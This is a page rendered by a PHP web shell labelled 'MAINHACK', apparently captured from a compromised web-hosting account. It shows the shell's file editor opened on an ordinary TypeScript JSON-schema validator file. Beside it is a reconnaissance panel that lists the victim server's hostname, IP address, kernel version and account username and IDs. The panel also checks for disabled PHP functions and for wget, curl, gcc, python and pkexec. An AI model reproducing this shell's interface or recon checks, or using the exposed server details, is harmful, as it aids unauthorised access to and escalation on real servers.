[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: if.ts
import type { CodeKeywordDefinition, ErrorObject, KeywordErrorDefinition, AnySchema, } from "../../types" import type {SchemaObjCxt} from "../../compile" import type {KeywordCxt} from "../../compile/validate" import {_, str, not, Name} from "../../compile/codegen" import {alwaysValidSchema, checkStrictMode} from "../../compile/util" export type IfKeywordError = ErrorObject<"if", {failingKeyword: string}, AnySchema> const error: KeywordErrorDefinition = { message: ({params}) => str`must match "${params.ifClause}" schema`, params: ({params}) => _`{failingKeyword: ${params.ifClause}}`, } const def: CodeKeywordDefinition = { keyword: "if", schemaType: ["object", "boolean"], trackErrors: true, error, code(cxt: KeywordCxt) { const {gen, parentSchema, it} = cxt if (parentSchema.then === undefined && parentSchema.else === undefined) { checkStrictMode(it, '"if" without "then" and "else" is ignored') } const hasThen = hasSchema(it, "then") const hasElse = hasSchema(it, "else") if (!hasThen && !hasElse) return const valid = gen.let("valid", true) const schValid = gen.name("_valid") validateIf() cxt.reset() if (hasThen && hasElse) { const ifClause = gen.let("ifClause") cxt.setParams({ifClause}) gen.if(schValid, validateClause("then", ifClause), validateClause("else", ifClause)) } else if (hasThen) { gen.if(schValid, validateClause("then")) } else { gen.if(not(schValid), validateClause("else")) } cxt.pass(valid, () => cxt.error(true)) function validateIf(): void { const schCxt = cxt.subschema( { keyword: "if", compositeRule: true, createErrors: false, allErrors: false, }, schValid ) cxt.mergeEvaluated(schCxt) } function validateClause(keyword: string, ifClause?: Name): () => void { return () => { const schCxt = cxt.subschema({keyword}, schValid) gen.assign(valid, schValid) cxt.mergeValidEvaluated(schCxt, valid) if (ifClause) gen.assign(ifClause, _`${keyword}`) else cxt.setParams({ifClause: keyword}) } } }, } function hasSchema(it: SchemaObjCxt, keyword: string): boolean { const schema = it.schema[keyword] return schema !== undefined && !alwaysValidSchema(it, schema) } export default def
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344